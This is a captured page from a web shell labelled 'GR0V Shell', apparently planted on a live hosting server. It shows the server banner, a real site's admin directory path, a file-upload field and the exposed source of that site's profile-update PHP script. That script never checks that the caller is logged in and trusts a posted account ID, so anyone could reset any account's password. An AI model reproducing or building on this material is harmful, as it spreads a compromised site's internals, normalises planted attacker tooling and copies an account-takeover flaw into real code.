? GR0V Shell

GR0V shell

Linux in-mum-web921.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64

Path : /home/u949514618/domains/drpktiwari.com/public_html/admin/
File Upload :
Current File : /home/u949514618/domains/drpktiwari.com/public_html/admin/update_profile.php

<?php
session_start();
include 'db.php';

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $centre_id = $_POST['centre_id'];
    $centre_name = $_POST['centre_name'];
    $email = $_POST['email'];
    $phone = $_POST['phone'];
    $address = $_POST['address'];
    $new_password = trim($_POST['password']);

    // Fetch current password if not updating
    $query = "SELECT password FROM centre WHERE id = ?";
    $stmt = $conn->prepare($query);
    $stmt->bind_param("i", $centre_id);
    $stmt->execute();
    $result = $stmt->get_result();
    $user = $result->fetch_assoc();
    $current_password = $user['password'];

    // If password field is empty, keep the old password
    $final_password = !empty($new_password) ? password_hash($new_password, PASSWORD_DEFAULT) : $current_password;

    // Update profile
    $updateQuery = "UPDATE centre SET centre_name=?, email=?, phone=?, address=?, password=? WHERE id=?";
    $stmt = $conn->prepare($updateQuery);
    $stmt->bind_param("sssssi", $centre_name, $email, $phone, $address, $final_password, $centre_id);

    if ($stmt->execute()) {
        echo "success";
    } else {
        echo "Error updating profile.";
    }
}
?>

T1KUS90T
  root-grov@89.117.188.241:~$